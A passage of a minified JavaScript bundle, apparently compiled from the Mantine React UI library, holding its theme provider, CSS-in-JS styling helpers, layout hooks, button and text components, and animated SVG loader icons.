t=vr(),r=n=>{var o,i,l,a;return{styles:((o=t.components[n])==null?void 0:o.styles)||{},classNames:((i=t.components[n])==null?void 0:i.classNames)||{},variants:(l=t.components[n])==null?void 0:l.variants,sizes:(a=t.components[n])==null?void 0:a.sizes}};return Array.isArray(e)?e.map(r):[r(e)]}function ng(){var e;return(e=$.exports.useContext(Gi))==null?void 0:e.emotionCache}function he(e,t,r){var n;const o=vr(),i=(n=o.components[e])==null?void 0:n.defaultProps,l=typeof i=="function"?i(o):i;return Qn(Qn(Qn({},t),l),rg(r))}function og({theme:e,emotionCache:t,withNormalizeCSS:r=!1,withGlobalStyles:n=!1,withCSSVariables:o=!1,inherit:i=!1,children:l}){const a=$.exports.useContext(Gi),s=G_(Uu,i?Qn(Qn({},a.theme),e):e);return P(N_,{theme:s,children:Z(Gi.Provider,{value:{theme:s,emotionCache:t},children:[r&&P(Q_,{}),n&&P(L_,{theme:s}),o&&P(F_,{theme:s}),typeof s.globalStyles=="function"&&P(ra,{styles:s.globalStyles(s)}),l]})})}og.displayName="@mantine/core/MantineProvider";function q_(e,t){const r=$.exports.useRef();return(!r.current||t.length!==r.current.prevDeps.length||r.current.prevDeps.map((n,o)=>n===t[o]).indexOf(!1)>=0)&&(r.current={v:e(),prevDeps:[...t]}),r.current.v}const eS=Yy({key:"mantine",prepend:!0});function tS(){return ng()||eS}var rS=Object.defineProperty,Hf=Object.getOwnPropertySymbols,nS=Object.prototype.hasOwnProperty,oS=Object.prototype.propertyIsEnumerable,Bf=(e,t,r)=>t in e?rS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,iS=(e,t)=>{for(var r in t||(t={}))nS.call(t,r)&&Bf(e,r,t[r]);if(Hf)for(var r of Hf(t))oS.call(t,r)&&Bf(e,r,t[r]);return e};const Da="ref";function lS(e){let t;if(e.length!==1)return{args:e,ref:t};const[r]=e;if(!(r instanceof Object))return{args:e,ref:t};if(!(Da in r))return{args:e,ref:t};t=r[Da];const n=iS({},r);return delete n[Da],{args:[n],ref:t}}const{cssFactory:aS}=(()=>{function e(r,n,o){const i=[],l=w_(r,i,o);return i.length<2?o:l+n(i)}function t(r){const{cache:n}=r,o=(...l)=>{const{ref:a,args:s}=lS(l),u=eg(s,n.registered);return Jy(n,u,!1),`${n.key}-${u.name}${a===void 0?"":` ${a}`}`};return{css:o,cx:(...l)=>e(n.registered,o,Sy(l))}}return{cssFactory:t}})();function ig(){const e=tS();return q_(()=>aS({cache:e}),[e])}function sS({cx:e,classes:t,context:r,classNames:n,name:o,cache:i}){const l=r.reduce((a,s)=>(Object.keys(s.classNames).forEach(u=>{typeof a[u]!="string"?a[u]=`${s.classNames[u]}`:a[u]=`${a[u]} ${s.classNames[u]}`}),a),{});return Object.keys(t).reduce((a,s)=>(a[s]=e(t[s],l[s],n!=null&&n[s],Array.isArray(o)?o.filter(Boolean).map(u=>`${(i==null?void 0:i.key)||"mantine"}-${u}-${s}`).join(" "):o?`${(i==null?void 0:i.key)||"mantine"}-${o}-${s}`:null),a),{})}var uS=Object.defineProperty,Uf=Object.getOwnPropertySymbols,cS=Object.prototype.hasOwnProperty,fS=Object.prototype.propertyIsEnumerable,Gf=(e,t,r)=>t in e?uS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,ja=(e,t)=>{for(var r in t||(t={}))cS.call(t,r)&&Gf(e,r,t[r]);if(Uf)for(var r of Uf(t))fS.call(t,r)&&Gf(e,r,t[r]);return e};function As(e,t){return t&&Object.keys(t).forEach(r=>{e[r]?e[r]=ja(ja({},e[r]),t[r]):e[r]=ja({},t[r])}),e}function Yf(e,t,r,n){const o=i=>typeof i=="function"?i(t,r||{},n):i||{};return Array.isArray(e)?e.map(i=>o(i.styles)).reduce((i,l)=>As(i,l),{}):o(e)}function dS({ctx:e,theme:t,params:r,variant:n,size:o}){return e.reduce((i,l)=>(l.variants&&n in l.variants&&As(i,l.variants[n](t,r,{variant:n,size:o})),l.sizes&&o in l.sizes&&As(i,l.sizes[o](t,r,{variant:n,size:o})),i),{})}function Se(e){const t=typeof e=="function"?e:()=>e;function r(n,o){const i=vr(),l=J_(o==null?void 0:o.name),a=ng(),s={variant:o==null?void 0:o.variant,size:o==null?void 0:o.size},{css:u,cx:p}=ig(),m=t(i,n,s),d=Yf(o==null?void 0:o.styles,i,n,s),g=Yf(l,i,n,s),h=dS({ctx:l,theme:i,params:n,variant:o==null?void 0:o.variant,size:o==null?void 0:o.size}),v=Object.fromEntries(Object.keys(m).map(x=>{const f=p({[u(m[x])]:!(o!=null&&o.unstyled)},u(h[x]),u(g[x]),u(d[x]));return[x,f]}));return{classes:sS({cx:p,classes:v,context:l,classNames:o==null?void 0:o.classNames,name:o==null?void 0:o.name,cache:a}),cx:p,theme:i}}return r}function Nn(e){return`___ref-${e||""}`}var pS=Object.defineProperty,mS=Object.defineProperties,yS=Object.getOwnPropertyDescriptors,Qf=Object.getOwnPropertySymbols,gS=Object.prototype.hasOwnProperty,vS=Object.prototype.propertyIsEnumerable,Xf=(e,t,r)=>t in e?pS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Tn=(e,t)=>{for(var r in t||(t={}))gS.call(t,r)&&Xf(e,r,t[r]);if(Qf)for(var r of Qf(t))vS.call(t,r)&&Xf(e,r,t[r]);return e},zn=(e,t)=>mS(e,yS(t));const Rn={in:{opacity:1,transform:"scale(1)"},out:{opacity:0,transform:`scale(.9) translateY(${w(10)})`},transitionProperty:"transform, opacity"},Uo={fade:{in:{opacity:1},out:{opacity:0},transitionProperty:"opacity"},scale:{in:{opacity:1,transform:"scale(1)"},out:{opacity:0,transform:"scale(0)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"scale-y":{in:{opacity:1,transform:"scaleY(1)"},out:{opacity:0,transform:"scaleY(0)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"scale-x":{in:{opacity:1,transform:"scaleX(1)"},out:{opacity:0,transform:"scaleX(0)"},common:{transformOrigin:"left"},transitionProperty:"transform, opacity"},"skew-up":{in:{opacity:1,transform:"translateY(0) skew(0deg, 0deg)"},out:{opacity:0,transform:`translateY(-${w(20)}) skew(-10deg, -5deg)`},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"skew-down":{in:{opacity:1,transform:"translateY(0) skew(0deg, 0deg)"},out:{opacity:0,transform:`translateY(${w(20)}) skew(-10deg, -5deg)`},common:{transformOrigin:"bottom"},transitionProperty:"transform, opacity"},"rotate-left":{in:{opacity:1,transform:"translateY(0) rotate(0deg)"},out:{opacity:0,transform:`translateY(${w(20)}) rotate(-5deg)`},common:{transformOrigin:"bottom"},transitionProperty:"transform, opacity"},"rotate-right":{in:{opacity:1,transform:"translateY(0) rotate(0deg)"},out:{opacity:0,transform:`translateY(${w(20)}) rotate(5deg)`},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"slide-down":{in:{opacity:1,transform:"translateY(0)"},out:{opacity:0,transform:"translateY(-100%)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"slide-up":{in:{opacity:1,transform:"translateY(0)"},out:{opacity:0,transform:"translateY(100%)"},common:{transformOrigin:"bottom"},transitionProperty:"transform, opacity"},"slide-left":{in:{opacity:1,transform:"translateX(0)"},out:{opacity:0,transform:"translateX(100%)"},common:{transformOrigin:"left"},transitionProperty:"transform, opacity"},"slide-right":{in:{opacity:1,transform:"translateX(0)"},out:{opacity:0,transform:"translateX(-100%)"},common:{transformOrigin:"right"},transitionProperty:"transform, opacity"},pop:zn(Tn({},Rn),{common:{transformOrigin:"center center"}}),"pop-bottom-left":zn(Tn({},Rn),{common:{transformOrigin:"bottom left"}}),"pop-bottom-right":zn(Tn({},Rn),{common:{transformOrigin:"bottom right"}}),"pop-top-left":zn(Tn({},Rn),{common:{transformOrigin:"top left"}}),"pop-top-right":zn(Tn({},Rn),{common:{transformOrigin:"top right"}})};function hS(e,t){try{return e.addEventListener("change",t),()=>e.removeEventListener("change",t)}catch{return e.addListener(t),()=>e.removeListener(t)}}function wS(e,t){return typeof t=="boolean"?t:typeof window<"u"&&"matchMedia"in window?window.matchMedia(e).matches:!1}function _S(e,t,{getInitialValueInEffect:r}={getInitialValueInEffect:!0}){const[n,o]=$.exports.useState(r?t:wS(e,t)),i=$.exports.useRef();return $.exports.useEffect(()=>{if("matchMedia"in window)return i.current=window.matchMedia(e),o(i.current.matches),hS(i.current,l=>o(l.matches))},[e]),n}function Xn(e,t,r){return Math.min(Math.max(e,t),r)}const lg=typeof document<"u"?$.exports.useLayoutEffect:$.exports.useEffect;function SS(e,t){const r=$.exports.useRef(!1);$.exports.useEffect(()=>()=>{r.current=!1},[]),$.exports.useEffect(()=>{if(r.current)return e();r.current=!0},t)}const PS=yp["useId".toString()]||(()=>{});function OS(){const e=PS();return e?`mantine-${e.replace(/:/g,"")}`:""}function xS(){return`mantine-${Math.random().toString(36).slice(2,11)}`}function ag(e){const t=OS(),[r,n]=$.exports.useState(t);return lg(()=>{n(xS())},[]),typeof e=="string"?e:typeof window>"u"?t:r}function $S(e,t){typeof e=="function"?e(t):typeof e=="object"&&e!==null&&"current"in e&&(e.current=t)}function kS(...e){return t=>{e.forEach(r=>$S(r,t))}}function sg(...e){return $.exports.useCallback(kS(...e),e)}function bS(e,t,r="ltr"){const n=$.exports.useRef(),o=$.exports.useRef(!1),i=$.exports.useRef(!1),l=$.exports.useRef(0),[a,s]=$.exports.useState(!1);return $.exports.useEffect(()=>{o.current=!0},[]),$.exports.useEffect(()=>{const u=({x:c,y})=>{cancelAnimationFrame(l.current),l.current=requestAnimationFrame(()=>{if(o.current&&n.current){n.current.style.userSelect="none";const S=n.current.getBoundingClientRect();if(S.width&&S.height){const k=Xn((c-S.left)/S.width,0,1);e({x:r==="ltr"?k:1-k,y:Xn((y-S.top)/S.height,0,1)})}}})},p=()=>{document.addEventListener("mousemove",v),document.addEventListener("mouseup",g),document.addEventListener("touchmove",f),document.addEventListener("touchend",g)},m=()=>{document.removeEventListener("mousemove",v),document.removeEventListener("mouseup",g),document.removeEventListener("touchmove",f),document.removeEventListener("touchend",g)},d=()=>{!i.current&&o.current&&(i.current=!0,typeof(t==null?void 0:t.onScrubStart)=="function"&&t.onScrubStart(),s(!0),p())},g=()=>{i.current&&o.current&&(i.current=!1,s(!1),m(),setTimeout(()=>{typeof(t==null?void 0:t.onScrubEnd)=="function"&&t.onScrubEnd()},0))},h=c=>{d(),c.preventDefault(),v(c)},v=c=>u({x:c.clientX,y:c.clientY}),x=c=>{c.cancelable&&c.preventDefault(),d(),f(c)},f=c=>{c.cancelable&&c.preventDefault(),u({x:c.changedTouches[0].clientX,y:c.changedTouches[0].clientY})};return n.current.addEventListener("mousedown",h),n.current.addEventListener("touchstart",x,{passive:!1}),()=>{n.current&&(n.current.removeEventListener("mousedown",h),n.current.removeEventListener("touchstart",x))}},[r,e]),{ref:n,active:a}}function na({value:e,defaultValue:t,finalValue:r,onChange:n=()=>{}}){const[o,i]=$.exports.useState(t!==void 0?t:r),l=a=>{i(a),n==null||n(a)};return e!==void 0?[e,n,!0]:[o,l,!1]}function ug(e,t){return _S("(prefers-reduced-motion: reduce)",e,t)}const ES={x:0,y:0,width:0,height:0,top:0,left:0,bottom:0,right:0};function CS(){const e=$.exports.useRef(0),t=$.exports.useRef(null),[r,n]=$.exports.useState(ES),o=$.exports.useMemo(()=>typeof window<"u"?new ResizeObserver(i=>{const l=i[0];l&&(cancelAnimationFrame(e.current),e.current=requestAnimationFrame(()=>{t.current&&n(l.contentRect)}))}):null,[]);return $.exports.useEffect(()=>(t.current&&o.observe(t.current),()=>{o.disconnect(),e.current&&cancelAnimationFrame(e.current)}),[t.current]),[t,r]}var Kf=Object.getOwnPropertySymbols,NS=Object.prototype.hasOwnProperty,TS=Object.prototype.propertyIsEnumerable,zS=(e,t)=>{var r={};for(var n in e)NS.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Kf)for(var n of Kf(e))t.indexOf(n)<0&&TS.call(e,n)&&(r[n]=e[n]);return r};function Ju(e){const t=e,{m:r,mx:n,my:o,mt:i,mb:l,ml:a,mr:s,p:u,px:p,py:m,pt:d,pb:g,pl:h,pr:v,bg:x,c:f,opacity:c,ff:y,fz:S,fw:k,lts:b,ta:O,lh:N,fs:H,tt:R,td:I,w:G,miw:Y,maw:ce,h:re,mih:ze,mah:ne,bgsz:T,bgp:F,bgr:M,bga:B,pos:_,top:C,left:z,bottom:D,right:j,inset:A,display:U}=t,te=zS(t,["m","mx","my","mt","mb","ml","mr","p","px","py","pt","pb","pl","pr","bg","c","opacity","ff","fz","fw","lts","ta","lh","fs","tt","td","w","miw","maw","h","mih","mah","bgsz","bgp","bgr","bga","pos","top","left","bottom","right","inset","display"]);return{systemStyles:rg({m:r,mx:n,my:o,mt:i,mb:l,ml:a,mr:s,p:u,px:p,py:m,pt:d,pb:g,pl:h,pr:v,bg:x,c:f,opacity:c,ff:y,fz:S,fw:k,lts:b,ta:O,lh:N,fs:H,tt:R,td:I,w:G,miw:Y,maw:ce,h:re,mih:ze,mah:ne,bgsz:T,bgp:F,bgr:M,bga:B,pos:_,top:C,left:z,bottom:D,right:j,inset:A,display:U}),rest:te}}function RS(e,t){const r=Object.keys(e).filter(n=>n!=="base").sort((n,o)=>Bi(V({size:n,sizes:t.breakpoints}))-Bi(V({size:o,sizes:t.breakpoints})));return"base"in e?["base",...r]:r}function DS({value:e,theme:t,getValue:r,property:n}){if(e==null)return;if(typeof e=="object")return RS(e,t).reduce((l,a)=>{if(a==="base"&&e.base!==void 0){const u=r(e.base,t);return Array.isArray(n)?(n.forEach(p=>{l[p]=u}),l):(l[n]=u,l)}const s=r(e[a],t);return Array.isArray(n)?(l[t.fn.largerThan(a)]={},n.forEach(u=>{l[t.fn.largerThan(a)][u]=s}),l):(l[t.fn.largerThan(a)]={[n]:s},l)},{});const o=r(e,t);return Array.isArray(n)?n.reduce((i,l)=>(i[l]=o,i),{}):{[n]:o}}function jS(e,t){return e==="dimmed"?t.colorScheme==="dark"?t.colors.dark[2]:t.colors.gray[6]:t.fn.variant({variant:"filled",color:e,primaryFallback:!1}).background}function IS(e){return w(e)}function MS(e){return e}function LS(e,t){return V({size:e,sizes:t.fontSizes})}const FS=["-xs","-sm","-md","-lg","-xl"];function AS(e,t){return FS.includes(e)?`calc(${V({size:e.replace("-",""),sizes:t.spacing})} * -1)`:V({size:e,sizes:t.spacing})}const WS={identity:MS,color:jS,size:IS,fontSize:LS,spacing:AS},VS={m:{type:"spacing",property:"margin"},mt:{type:"spacing",property:"marginTop"},mb:{type:"spacing",property:"marginBottom"},ml:{type:"spacing",property:"marginLeft"},mr:{type:"spacing",property:"marginRight"},mx:{type:"spacing",property:["marginRight","marginLeft"]},my:{type:"spacing",property:["marginTop","marginBottom"]},p:{type:"spacing",property:"padding"},pt:{type:"spacing",property:"paddingTop"},pb:{type:"spacing",property:"paddingBottom"},pl:{type:"spacing",property:"paddingLeft"},pr:{type:"spacing",property:"paddingRight"},px:{type:"spacing",property:["paddingRight","paddingLeft"]},py:{type:"spacing",property:["paddingTop","paddingBottom"]},bg:{type:"color",property:"background"},c:{type:"color",property:"color"},opacity:{type:"identity",property:"opacity"},ff:{type:"identity",property:"fontFamily"},fz:{type:"fontSize",property:"fontSize"},fw:{type:"identity",property:"fontWeight"},lts:{type:"size",property:"letterSpacing"},ta:{type:"identity",property:"textAlign"},lh:{type:"identity",property:"lineHeight"},fs:{type:"identity",property:"fontStyle"},tt:{type:"identity",property:"textTransform"},td:{type:"identity",property:"textDecoration"},w:{type:"spacing",property:"width"},miw:{type:"spacing",property:"minWidth"},maw:{type:"spacing",property:"maxWidth"},h:{type:"spacing",property:"height"},mih:{type:"spacing",property:"minHeight"},mah:{type:"spacing",property:"maxHeight"},bgsz:{type:"size",property:"backgroundSize"},bgp:{type:"identity",property:"backgroundPosition"},bgr:{type:"identity",property:"backgroundRepeat"},bga:{type:"identity",property:"backgroundAttachment"},pos:{type:"identity",property:"position"},top:{type:"identity",property:"top"},left:{type:"size",property:"left"},bottom:{type:"size",property:"bottom"},right:{type:"size",property:"right"},inset:{type:"size",property:"inset"},display:{type:"identity",property:"display"}};var HS=Object.defineProperty,Zf=Object.getOwnPropertySymbols,BS=Object.prototype.hasOwnProperty,US=Object.prototype.propertyIsEnumerable,Jf=(e,t,r)=>t in e?HS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,qf=(e,t)=>{for(var r in t||(t={}))BS.call(t,r)&&Jf(e,r,t[r]);if(Zf)for(var r of Zf(t))US.call(t,r)&&Jf(e,r,t[r]);return e};function Ws(e,t,r=VS){return Object.keys(r).reduce((o,i)=>(i in e&&e[i]!==void 0&&o.push(DS({value:e[i],getValue:WS[r[i].type],property:r[i].property,theme:t})),o),[]).reduce((o,i)=>(Object.keys(i).forEach(l=>{typeof i[l]=="object"&&i[l]!==null&&l in o?o[l]=qf(qf({},o[l]),i[l]):o[l]=i[l]}),o),{})}function ed(e,t){return typeof e=="function"?e(t):e}function GS(e,t,r){const n=vr(),{css:o,cx:i}=ig();return Array.isArray(e)?i(r,o(Ws(t,n)),e.map(l=>o(ed(l,n)))):i(r,o(ed(e,n)),o(Ws(t,n)))}var YS=Object.defineProperty,Yi=Object.getOwnPropertySymbols,cg=Object.prototype.hasOwnProperty,fg=Object.prototype.propertyIsEnumerable,td=(e,t,r)=>t in e?YS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,QS=(e,t)=>{for(var r in t||(t={}))cg.call(t,r)&&td(e,r,t[r]);if(Yi)for(var r of Yi(t))fg.call(t,r)&&td(e,r,t[r]);return e},XS=(e,t)=>{var r={};for(var n in e)cg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Yi)for(var n of Yi(e))t.indexOf(n)<0&&fg.call(e,n)&&(r[n]=e[n]);return r};const dg=$.exports.forwardRef((e,t)=>{var r=e,{className:n,component:o,style:i,sx:l}=r,a=XS(r,["className","component","style","sx"]);const{systemStyles:s,rest:u}=Ju(a);return P(o||"div",{...QS({ref:t,className:GS(l,s,n),style:i},u)})});dg.displayName="@mantine/core/Box";const me=dg;var KS=Object.defineProperty,ZS=Object.defineProperties,JS=Object.getOwnPropertyDescriptors,rd=Object.getOwnPropertySymbols,qS=Object.prototype.hasOwnProperty,eP=Object.prototype.propertyIsEnumerable,nd=(e,t,r)=>t in e?KS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,od=(e,t)=>{for(var r in t||(t={}))qS.call(t,r)&&nd(e,r,t[r]);if(rd)for(var r of rd(t))eP.call(t,r)&&nd(e,r,t[r]);return e},tP=(e,t)=>ZS(e,JS(t)),rP=Se(e=>({root:tP(od(od({},e.fn.focusStyles()),e.fn.fontStyles()),{cursor:"pointer",border:0,padding:0,appearance:"none",fontSize:e.fontSizes.md,backgroundColor:"transparent",textAlign:"left",color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,textDecoration:"none",boxSizing:"border-box"})}));const nP=rP;var oP=Object.defineProperty,Qi=Object.getOwnPropertySymbols,pg=Object.prototype.hasOwnProperty,mg=Object.prototype.propertyIsEnumerable,id=(e,t,r)=>t in e?oP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,iP=(e,t)=>{for(var r in t||(t={}))pg.call(t,r)&&id(e,r,t[r]);if(Qi)for(var r of Qi(t))mg.call(t,r)&&id(e,r,t[r]);return e},lP=(e,t)=>{var r={};for(var n in e)pg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Qi)for(var n of Qi(e))t.indexOf(n)<0&&mg.call(e,n)&&(r[n]=e[n]);return r};const yg=$.exports.forwardRef((e,t)=>{const r=he("UnstyledButton",{},e),{className:n,component:o="button",unstyled:i,variant:l}=r,a=lP(r,["className","component","unstyled","variant"]),{classes:s,cx:u}=nP(null,{name:"UnstyledButton",unstyled:i,variant:l});return P(me,{...iP({component:o,ref:t,className:u(s.root,n),type:o==="button"?"button":void 0},a)})});yg.displayName="@mantine/core/UnstyledButton";const aP=yg;var sP=Object.defineProperty,Xi=Object.getOwnPropertySymbols,gg=Object.prototype.hasOwnProperty,vg=Object.prototype.propertyIsEnumerable,ld=(e,t,r)=>t in e?sP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,uP=(e,t)=>{for(var r in t||(t={}))gg.call(t,r)&&ld(e,r,t[r]);if(Xi)for(var r of Xi(t))vg.call(t,r)&&ld(e,r,t[r]);return e},cP=(e,t)=>{var r={};for(var n in e)gg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Xi)for(var n of Xi(e))t.indexOf(n)<0&&vg.call(e,n)&&(r[n]=e[n]);return r};function fP(e){var t=e,{size:r,color:n}=t,o=cP(t,["size","color"]);return Z("svg",{...uP({viewBox:"0 0 135 140",xmlns:"http://www.w3.org/2000/svg",fill:n,width:r},o),children:[Z("rect",{y:"10",width:"15",height:"120",rx:"6",children:[P("animate",{attributeName:"height",begin:"0.5s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0.5s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]}),Z("rect",{x:"30",y:"10",width:"15",height:"120",rx:"6",children:[P("animate",{attributeName:"height",begin:"0.25s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0.25s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]}),Z("rect",{x:"60",width:"15",height:"140",rx:"6",children:[P("animate",{attributeName:"height",begin:"0s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]}),Z("rect",{x:"90",y:"10",width:"15",height:"120",rx:"6",children:[P("animate",{attributeName:"height",begin:"0.25s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0.25s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]}),Z("rect",{x:"120",y:"10",width:"15",height:"120",rx:"6",children:[P("animate",{attributeName:"height",begin:"0.5s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0.5s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]})]})}var dP=Object.defineProperty,Ki=Object.getOwnPropertySymbols,hg=Object.prototype.hasOwnProperty,wg=Object.prototype.propertyIsEnumerable,ad=(e,t,r)=>t in e?dP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,pP=(e,t)=>{for(var r in t||(t={}))hg.call(t,r)&&ad(e,r,t[r]);if(Ki)for(var r of Ki(t))wg.call(t,r)&&ad(e,r,t[r]);return e},mP=(e,t)=>{var r={};for(var n in e)hg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Ki)for(var n of Ki(e))t.indexOf(n)<0&&wg.call(e,n)&&(r[n]=e[n]);return r};function yP(e){var t=e,{size:r,color:n}=t,o=mP(t,["size","color"]);return P("svg",{...pP({width:r,height:r,viewBox:"0 0 38 38",xmlns:"http://www.w3.org/2000/svg",stroke:n},o),children:P("g",{fill:"none",fillRule:"evenodd",children:Z("g",{transform:"translate(2.5 2.5)",strokeWidth:"5",children:[P("circle",{strokeOpacity:".5",cx:"16",cy:"16",r:"16"}),P("path",{d:"M32 16c0-9.94-8.06-16-16-16",children:P("animateTransform",{attributeName:"transform",type:"rotate",from:"0 16 16",to:"360 16 16",dur:"1s",repeatCount:"indefinite"})})]})})})}var gP=Object.defineProperty,Zi=Object.getOwnPropertySymbols,_g=Object.prototype.hasOwnProperty,Sg=Object.prototype.propertyIsEnumerable,sd=(e,t,r)=>t in e?gP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,vP=(e,t)=>{for(var r in t||(t={}))_g.call(t,r)&&sd(e,r,t[r]);if(Zi)for(var r of Zi(t))Sg.call(t,r)&&sd(e,r,t[r]);return e},hP=(e,t)=>{var r={};for(var n in e)_g.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Zi)for(var n of Zi(e))t.indexOf(n)<0&&Sg.call(e,n)&&(r[n]=e[n]);return r};function wP(e){var t=e,{size:r,color:n}=t,o=hP(t,["size","color"]);return Z("svg",{...vP({width:r,viewBox:"0 0 120 30",xmlns:"http://www.w3.org/2000/svg",fill:n},o),children:[Z("circle",{cx:"15",cy:"15",r:"15",children:[P("animate",{attributeName:"r",from:"15",to:"15",begin:"0s",dur:"0.8s",values:"15;9;15",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"fill-opacity",from:"1",to:"1",begin:"0s",dur:"0.8s",values:"1;.5;1",calcMode:"linear",repeatCount:"indefinite"})]}),Z("circle",{cx:"60",cy:"15",r:"9",fillOpacity:"0.3",children:[P("animate",{attributeName:"r",from:"9",to:"9",begin:"0s",dur:"0.8s",values:"9;15;9",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"fill-opacity",from:"0.5",to:"0.5",begin:"0s",dur:"0.8s",values:".5;1;.5",calcMode:"linear",repeatCount:"indefinite"})]}),Z("circle",{cx:"105",cy:"15",r:"15",children:[P("animate",{attributeName:"r",from:"15",to:"15",begin:"0s",dur:"0.8s",values:"15;9;15",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"fill-opacity",from:"1",to:"1",begin:"0s",dur:"0.8s",values:"1;.5;1",calcMode:"linear",repeatCount:"indefinite"})]})]})}var _P=Object.defineProperty,Ji=Object.getOwnPropertySymbols,Pg=Object.prototype.hasOwnProperty,Og=Object.prototype.propertyIsEnumerable,ud=(e,t,r)=>t in e?_P(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,SP=(e,t)=>{for(var r in t||(t={}))Pg.call(t,r)&&ud(e,r,t[r]);if(Ji)for(var r of Ji(t))Og.call(t,r)&&ud(e,r,t[r]);return e},PP=(e,t)=>{var r={};for(var n in e)Pg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Ji)for(var n of Ji(e))t.indexOf(n)<0&&Og.call(e,n)&&(r[n]=e[n]);return r};const Ia={bars:fP,oval:yP,dots:wP},OP={xs:w(18),sm:w(22),md:w(36),lg:w(44),xl:w(58)},xP={size:"md"};function xg(e){const t=he("Loader",xP,e),{size:r,color:n,variant:o}=t,i=PP(t,["size","color","variant"]),l=vr(),a=o in Ia?o:l.loader;return P(me,{...SP({role:"presentation",component:Ia[a]||Ia.bars,size:V({size:r,sizes:OP}),color:l.fn.variant({variant:"filled",primaryFallback:!1,color:n||l.primaryColor}).background},i)})}xg.displayName="@mantine/core/Loader";var $P=Object.defineProperty,kP=Object.defineProperties,bP=Object.getOwnPropertyDescriptors,cd=Object.getOwnPropertySymbols,EP=Object.prototype.hasOwnProperty,CP=Object.prototype.propertyIsEnumerable,fd=(e,t,r)=>t in e?$P(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Go=(e,t)=>{for(var r in t||(t={}))EP.call(t,r)&&fd(e,r,t[r]);if(cd)for(var r of cd(t))CP.call(t,r)&&fd(e,r,t[r]);return e},NP=(e,t)=>kP(e,bP(t));function TP({underline:e,strikethrough:t}){const r=[];return e&&r.push("underline"),t&&r.push("line-through"),r.length>0?r.join(" "):"none"}function zP({theme:e,color:t}){return t==="dimmed"?e.fn.dimmed():typeof t=="string"&&(t in e.colors||t.split(".")[0]in e.colors)?e.fn.variant({variant:"filled",color:t}).background:t||"inherit"}function RP(e){return typeof e=="number"?{overflow:"hidden",textOverflow:"ellipsis",display:"-webkit-box",WebkitLineClamp:e,WebkitBoxOrient:"vertical"}:null}function DP({theme:e,truncate:t}){return t==="start"?{overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap",direction:e.dir==="ltr"?"rtl":"ltr",textAlign:e.dir==="ltr"?"right":"left"}:t?{overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap"}:null}var jP=Se((e,{color:t,lineClamp:r,truncate:n,inline:o,inherit:i,underline:l,gradient:a,weight:s,transform:u,align:p,strikethrough:m,italic:d},{size:g})=>{const h=e.fn.variant({variant:"gradient",gradient:a});return{root:NP(Go(Go(Go(Go({},e.fn.fontStyles()),e.fn.focusStyles()),RP(r)),DP({theme:e,truncate:n})),{color:zP({color:t,theme:e}),fontFamily:i?"inherit":e.fontFamily,fontSize:i||g===void 0?"inherit":V({size:g,sizes:e.fontSizes}),lineHeight:i?"inherit":o?1:e.lineHeight,textDecoration:TP({underline:l,strikethrough:m}),WebkitTapHighlightColor:"transparent",fontWeight:i?"inherit":s,textTransform:u,textAlign:p,fontStyle:d?"italic":void 0}),gradient:{backgroundImage:h.background,WebkitBackgroundClip:"text",WebkitTextFillColor:"transparent"}}});const IP=jP;var MP=Object.defineProperty,qi=Object.getOwnPropertySymbols,$g=Object.prototype.hasOwnProperty,kg=Object.prototype.propertyIsEnumerable,dd=(e,t,r)=>t in 